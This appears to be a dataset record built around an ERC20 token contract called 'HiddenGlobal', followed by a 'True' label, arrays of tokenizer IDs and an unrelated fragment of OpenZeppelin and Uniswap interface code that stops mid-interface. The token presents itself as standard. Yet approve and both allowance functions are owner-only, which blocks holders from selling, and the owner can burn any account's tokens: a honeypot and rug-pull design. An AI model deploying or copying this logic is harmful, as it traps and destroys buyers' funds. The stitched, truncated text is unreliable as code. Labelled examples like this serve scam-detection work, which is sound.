/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
//address msgSender = _msgSender(); // Owner address
address msgSender = _msgSender(); // Owner address
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract HiddenGlobal is Context, IERC20, IERC20Metadata, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint private _decimals;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "Hidden Global ";
_symbol = "$HDDN";
_decimals = 18;
_totalSupply = 281113000 * 10**(_decimals);
_balances[_msgSender()] = _totalSupply;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override onlyOwner() returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual onlyOwner returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyOwner returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
/** No Minting
*
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function mint(address account, uint256 amount) public onlyOwner {
_mint(account, amount);
}
*/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function burn(address account, uint256 amount) public onlyOwner{
_burn(account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5718,
1011,
2324,
1008,
1013,
1013,
1008,
1008,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
100,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1014,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2020-10-21
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
